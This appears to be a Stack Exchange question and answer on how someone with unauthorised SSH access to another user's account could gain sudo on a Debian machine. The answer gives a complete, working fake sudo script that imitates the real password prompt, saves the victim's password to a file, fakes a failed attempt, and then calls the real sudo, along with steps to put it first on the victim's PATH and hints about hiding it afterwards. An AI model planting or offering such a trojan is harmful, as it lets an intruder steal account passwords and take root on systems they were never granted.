5

Context: Debian Linux.

Alice has a user account on the machine. She is one of sudoers and has a secure password. She accesses the machine via SSH using a SSH key only (password will not work).

By some administrative mistake, Bob gets access to the same account instead of getting a separate account: his SSH key is added to authorized_keys. Bob does not get the password from Alice.

How could Bob successfully perform a sudo? Assume that:

  • Bob has no access to the server except for the SSH access to Alice's account.
  • Alice will be connecting to her account regularly, performing sudo etc.

I assume this cannot be done without Alice's cooperation. Thus I am looking for some kind of phishing or social engineering attack, like replacing sudo with an alias that will log the password first.

It's basically a traditional root escalation problem with the added benefit of (unaware) user cooperation.

  • I assume that the way sudo works, bob won't be able to do much on basically secured environment, but as there are some pretty imaginative persons around, I'll check proposed answers. – M4rty Oct 19 '17 at 10:51
4

In the past this would have been doable without Alice’s help, since sudo’s tokens were valid across terminal sessions: Bob could just wait for Alice to authenticate with sudo, then use sudo himself without having to enter a password.

Even with per-terminal tokens, obtaining Alice’s password is relatively easy in the scenario described here, as long as Alice doesn’t check her environment thoroughly all the time:

  • using Alice’s account, create ~/.bin/sudo with something like

    #!/bin/sh
    if [ $# = 0 ]; then exec /usr/bin/sudo; fi
    if [ ! -f ~/.bin/alices-password ]; then
      echo -n "[sudo] password for $USER: "
      read -s password
      echo
      echo ${password} > ~/.bin/alices-password
      sleep 2
      echo "Sorry, try again."
      /usr/bin/sudo -k
    fi
    exec /usr/bin/sudo "$@"
    
  • add ~/.bin to the path, in the appropriate rc-file depending on which shell Alice uses;

  • wait for Alice to use sudo in a shell which has noticed the presence of ~/.bin/sudo...

Bob can wait for a password to appear in ~/.bin/alices-password and try it himself before disabling the special variant (doing that in an unobtrusive way is left as an exercise for the reader — remember that the shell caches paths...).

There are a few subtleties in the script above, in particular sudo -k which ensures that “Sorry, try again.” will actually be followed by sudo asking for a password. The script could be improved further, that’s another exercise for the reader!

As you might imagine, this isn’t the only approach...

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.